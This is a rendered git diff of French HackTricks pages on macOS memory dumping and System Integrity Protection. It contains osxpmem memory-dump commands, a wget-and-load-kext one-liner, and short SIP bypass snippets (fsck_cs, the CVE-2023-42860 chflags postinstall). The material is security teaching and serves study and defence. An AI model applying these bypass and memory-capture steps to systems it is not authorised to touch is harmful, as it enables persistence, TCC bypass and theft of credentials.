||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -651,7 +626,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.p
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
|
|
|
@ -1,57 +1,44 @@
|
||||||
# Extraction de la mémoire macOS
|
# macOS Memory Dumping
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Memory Artifacts
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
### Swap Files
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.
|
Les fichiers d'échange, tels que `/private/var/vm/swapfile0`, servent de **caches lorsque la mémoire physique est pleine**. Lorsqu'il n'y a plus de place dans la mémoire physique, ses données sont transférées vers un fichier d'échange et ensuite ramenées en mémoire physique au besoin. Plusieurs fichiers d'échange peuvent être présents, avec des noms comme swapfile0, swapfile1, etc.
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
### Hibernate Image
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
Le fichier situé à `/private/var/vm/sleepimage` est crucial pendant le **mode hibernation**. **Les données de la mémoire sont stockées dans ce fichier lorsque OS X hiberne**. Lors du réveil de l'ordinateur, le système récupère les données de la mémoire à partir de ce fichier, permettant à l'utilisateur de reprendre là où il s'était arrêté.
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Artefacts de mémoire
|
|
||||||
|
|
||||||
### Fichiers d'échange
|
|
||||||
|
|
||||||
Les fichiers d'échange, tels que `/private/var/vm/swapfile0`, servent de **caches lorsque la mémoire physique est pleine**. Lorsqu'il n'y a plus d'espace en mémoire physique, ses données sont transférées vers un fichier d'échange, puis ramenées en mémoire physique au besoin. Plusieurs fichiers d'échange peuvent être présents, avec des noms tels que swapfile0, swapfile1, et ainsi de suite.
|
|
||||||
|
|
||||||
### Image d'hibernation
|
|
||||||
|
|
||||||
Le fichier situé à `/private/var/vm/sleepimage` est crucial pendant le **mode d'hibernation**. **Les données de la mémoire sont stockées dans ce fichier lorsque macOS hiberne**. Lorsque l'ordinateur se réveille, le système récupère les données de la mémoire de ce fichier, permettant à l'utilisateur de reprendre là où il s'était arrêté.
|
|
||||||
|
|
||||||
Il convient de noter que sur les systèmes MacOS modernes, ce fichier est généralement chiffré pour des raisons de sécurité, rendant la récupération difficile.
|
Il convient de noter que sur les systèmes MacOS modernes, ce fichier est généralement chiffré pour des raisons de sécurité, rendant la récupération difficile.
|
||||||
|
|
||||||
* Pour vérifier si le chiffrement est activé pour le sleepimage, la commande `sysctl vm.swapusage` peut être exécutée. Cela montrera si le fichier est chiffré.
|
* Pour vérifier si le chiffrement est activé pour le sleepimage, la commande `sysctl vm.swapusage` peut être exécutée. Cela montrera si le fichier est chiffré.
|
||||||
|
|
||||||
### Journaux de pression mémoire
|
### Memory Pressure Logs
|
||||||
|
|
||||||
Un autre fichier important lié à la mémoire dans les systèmes MacOS est le **journal de pression mémoire**. Ces journaux se trouvent dans `/var/log` et contiennent des informations détaillées sur l'utilisation de la mémoire du système et les événements de pression. Ils peuvent être particulièrement utiles pour diagnostiquer des problèmes liés à la mémoire ou comprendre comment le système gère la mémoire au fil du temps.
|
Un autre fichier important lié à la mémoire dans les systèmes MacOS est le **journal de pression de mémoire**. Ces journaux se trouvent dans `/var/log` et contiennent des informations détaillées sur l'utilisation de la mémoire du système et les événements de pression. Ils peuvent être particulièrement utiles pour diagnostiquer des problèmes liés à la mémoire ou comprendre comment le système gère la mémoire au fil du temps.
|
||||||
|
|
||||||
## Extraction de la mémoire avec osxpmem
|
## Dumping memory with osxpmem
|
||||||
|
|
||||||
Pour extraire la mémoire d'une machine macOS, vous pouvez utiliser [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
Pour dumper la mémoire sur une machine MacOS, vous pouvez utiliser [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||||
|
|
||||||
**Remarque** : Les instructions suivantes ne fonctionneront que pour les Mac avec une architecture Intel. Cet outil est désormais archivé et la dernière version date de 2017. Le binaire téléchargé en suivant les instructions ci-dessous cible les puces Intel car Apple Silicon n'existait pas en 2017. Il est peut-être possible de compiler le binaire pour l'architecture arm64, mais vous devrez essayer par vous-même.
|
**Note**: Les instructions suivantes ne fonctionneront que pour les Macs avec architecture Intel. Cet outil est maintenant archivé et la dernière version a été publiée en 2017. Le binaire téléchargé en utilisant les instructions ci-dessous cible les puces Intel car Apple Silicon n'existait pas en 2017. Il peut être possible de compiler le binaire pour l'architecture arm64, mais vous devrez essayer par vous-même.
|
||||||
```bash
|
```bash
|
||||||
#Dump raw format
|
#Dump raw format
|
||||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
#Dump aff4 format
|
#Dump aff4 format
|
||||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||||
```
|
```
|
||||||
Si vous rencontrez cette erreur : `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Vous pouvez la corriger en effectuant :
|
Si vous trouvez cette erreur : `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Vous pouvez le corriger en faisant :
|
||||||
```bash
|
```bash
|
||||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||||
sudo kextutil "/tmp/MacPmem.kext"
|
sudo kextutil "/tmp/MacPmem.kext"
|
||||||
#Allow the kext in "Security & Privacy --> General"
|
#Allow the kext in "Security & Privacy --> General"
|
||||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||||
```
|
```
|
||||||
**Autres erreurs** pourraient être corrigées en **autorisant le chargement du kext** dans "Sécurité et confidentialité --> Général", il suffit de **l'autoriser**.
|
**D'autres erreurs** pourraient être corrigées en **permettant le chargement du kext** dans "Sécurité et confidentialité --> Général", il suffit de **permettre**.
|
||||||
|
|
||||||
Vous pouvez également utiliser ce **oneliner** pour télécharger l'application, charger le kext et effectuer le dumping de la mémoire :
|
Vous pouvez également utiliser cette **ligne de commande** pour télécharger l'application, charger le kext et dumper la mémoire :
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de malwares volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS : <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **Informations de base**
|
## **Informations de base**
|
||||||
|
|
||||||
**System Integrity Protection (SIP)** dans macOS est un mécanisme conçu pour empêcher même les utilisateurs les plus privilégiés d'apporter des modifications non autorisées aux dossiers système clés. Cette fonctionnalité joue un rôle crucial dans le maintien de l'intégrité du système en restreignant des actions telles que l'ajout, la modification ou la suppression de fichiers dans des zones protégées. Les principaux dossiers protégés par SIP incluent :
|
**La Protection de l'Intégrité du Système (SIP)** dans macOS est un mécanisme conçu pour empêcher même les utilisateurs les plus privilégiés de faire des modifications non autorisées dans des dossiers système clés. Cette fonctionnalité joue un rôle crucial dans le maintien de l'intégrité du système en restreignant des actions telles que l'ajout, la modification ou la suppression de fichiers dans des zones protégées. Les principaux dossiers protégés par le SIP incluent :
|
||||||
|
|
||||||
* **/System**
|
* **/System**
|
||||||
* **/bin**
|
* **/bin**
|
||||||
* **/sbin**
|
* **/sbin**
|
||||||
* **/usr**
|
* **/usr**
|
||||||
|
|
||||||
Les règles qui régissent le comportement de SIP sont définies dans le fichier de configuration situé à **`/System/Library/Sandbox/rootless.conf`**. Dans ce fichier, les chemins qui sont précédés d'un astérisque (\*) sont désignés comme des exceptions aux restrictions SIP autrement strictes.
|
Les règles qui régissent le comportement du SIP sont définies dans le fichier de configuration situé à **`/System/Library/Sandbox/rootless.conf`**. Dans ce fichier, les chemins qui sont précédés d'un astérisque (\*) sont désignés comme des exceptions aux restrictions SIP autrement strictes.
|
||||||
|
|
||||||
Considérez l'exemple ci-dessous :
|
Considérez l'exemple ci-dessous :
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -63,7 +50,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
||||||
```
|
```
|
||||||
Ici, le drapeau **`restricted`** indique que le répertoire `/usr/libexec` est protégé par SIP. Dans un répertoire protégé par SIP, les fichiers ne peuvent pas être créés, modifiés ou supprimés.
|
Ici, le drapeau **`restricted`** indique que le répertoire `/usr/libexec` est protégé par SIP. Dans un répertoire protégé par SIP, les fichiers ne peuvent pas être créés, modifiés ou supprimés.
|
||||||
|
|
||||||
De plus, si un fichier contient l'attribut **`com.apple.rootless`** d'attribut étendu, ce fichier sera également **protégé par SIP**.
|
De plus, si un fichier contient l'attribut **`com.apple.rootless`** en tant qu'**attribut étendu**, ce fichier sera également **protégé par SIP**.
|
||||||
|
|
||||||
**SIP limite également d'autres actions root** telles que :
|
**SIP limite également d'autres actions root** telles que :
|
||||||
|
|
||||||
|
@ -72,11 +59,11 @@ De plus, si un fichier contient l'attribut **`com.apple.rootless`** d'attribut
|
||||||
* Modifier les variables NVRAM
|
* Modifier les variables NVRAM
|
||||||
* Autoriser le débogage du noyau
|
* Autoriser le débogage du noyau
|
||||||
|
|
||||||
Les options sont maintenues dans la variable nvram en tant que bitflag (`csr-active-config` sur Intel et `lp-sip0` est lu à partir de l'arbre de périphériques démarré pour ARM). Vous pouvez trouver les drapeaux dans le code source XNU dans `csr.sh` :
|
Les options sont maintenues dans la variable nvram en tant que bitflag (`csr-active-config` sur Intel et `lp-sip0` est lu à partir de l'arbre de périphériques démarré pour ARM). Vous pouvez trouver les drapeaux dans le code source de XNU dans `csr.sh` :
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1192).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Statut SIP
|
### Statut de SIP
|
||||||
|
|
||||||
Vous pouvez vérifier si SIP est activé sur votre système avec la commande suivante :
|
Vous pouvez vérifier si SIP est activé sur votre système avec la commande suivante :
|
||||||
```bash
|
```bash
|
||||||
|
@ -105,7 +92,7 @@ Contourner SIP permet à un attaquant de :
|
||||||
* **Accéder aux données utilisateur** : Lire des données sensibles de l'utilisateur comme les mails, les messages et l'historique de Safari de tous les comptes utilisateurs.
|
* **Accéder aux données utilisateur** : Lire des données sensibles de l'utilisateur comme les mails, les messages et l'historique de Safari de tous les comptes utilisateurs.
|
||||||
* **Contournement de TCC** : Manipuler directement la base de données TCC (Transparence, Consentement et Contrôle) pour accorder un accès non autorisé à la webcam, au microphone et à d'autres ressources.
|
* **Contournement de TCC** : Manipuler directement la base de données TCC (Transparence, Consentement et Contrôle) pour accorder un accès non autorisé à la webcam, au microphone et à d'autres ressources.
|
||||||
* **Établir une persistance** : Placer des logiciels malveillants dans des emplacements protégés par SIP, les rendant résistants à la suppression, même par des privilèges root. Cela inclut également la possibilité de falsifier l'outil de suppression de logiciels malveillants (MRT).
|
* **Établir une persistance** : Placer des logiciels malveillants dans des emplacements protégés par SIP, les rendant résistants à la suppression, même par des privilèges root. Cela inclut également la possibilité de falsifier l'outil de suppression de logiciels malveillants (MRT).
|
||||||
* **Charger des extensions de noyau** : Bien qu'il existe des protections supplémentaires, contourner SIP simplifie le processus de chargement des extensions de noyau non signées.
|
* **Charger des extensions de noyau** : Bien qu'il existe des protections supplémentaires, contourner SIP simplifie le processus de chargement d'extensions de noyau non signées.
|
||||||
|
|
||||||
### Paquets d'Installation
|
### Paquets d'Installation
|
||||||
|
|
||||||
|
@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&-
|
||||||
touch /Library/Extensions/
|
touch /Library/Extensions/
|
||||||
reboot
|
reboot
|
||||||
```
|
```
|
||||||
L'exploitation de cette vulnérabilité a de graves implications. Le fichier `Info.plist`, normalement responsable de la gestion des autorisations pour les extensions du noyau, devient inefficace. Cela inclut l'incapacité de mettre sur liste noire certaines extensions, telles que `AppleHWAccess.kext`. Par conséquent, avec le mécanisme de contrôle de SIP hors service, cette extension peut être chargée, accordant un accès en lecture et écriture non autorisé à la RAM du système.
|
L'exploitation de cette vulnérabilité a de graves implications. Le fichier `Info.plist`, normalement responsable de la gestion des autorisations pour les extensions du noyau, devient inefficace. Cela inclut l'incapacité de mettre sur liste noire certaines extensions, telles que `AppleHWAccess.kext`. Par conséquent, avec le mécanisme de contrôle de SIP hors service, cette extension peut être chargée, accordant un accès en lecture et en écriture non autorisé à la RAM du système.
|
||||||
|
|
||||||
#### [Monter sur des dossiers protégés par SIP](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
#### [Monter sur des dossiers protégés par SIP](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||||
|
|
||||||
|
@ -183,7 +170,7 @@ Dans cette présentation de [**DEF CON 31**](https://www.youtube.com/watch?v=zxZ
|
||||||
|
|
||||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||||
|
|
||||||
Comme [**détaillé dans cet article de blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` provenant des paquets `InstallAssistant.pkg` permettait d'exécuter :
|
Comme [**détaillé dans cet article de blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` provenant de `InstallAssistant.pkg` permettait d'exécuter :
|
||||||
```bash
|
```bash
|
||||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||||
```
|
```
|
||||||
|
@ -266,27 +253,16 @@ De plus, le disque instantané est également monté en tant que **lecture seule
|
||||||
mount
|
mount
|
||||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,71 +1,56 @@
|
||||||
# Utilisateurs macOS
|
# Utilisateurs macOS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
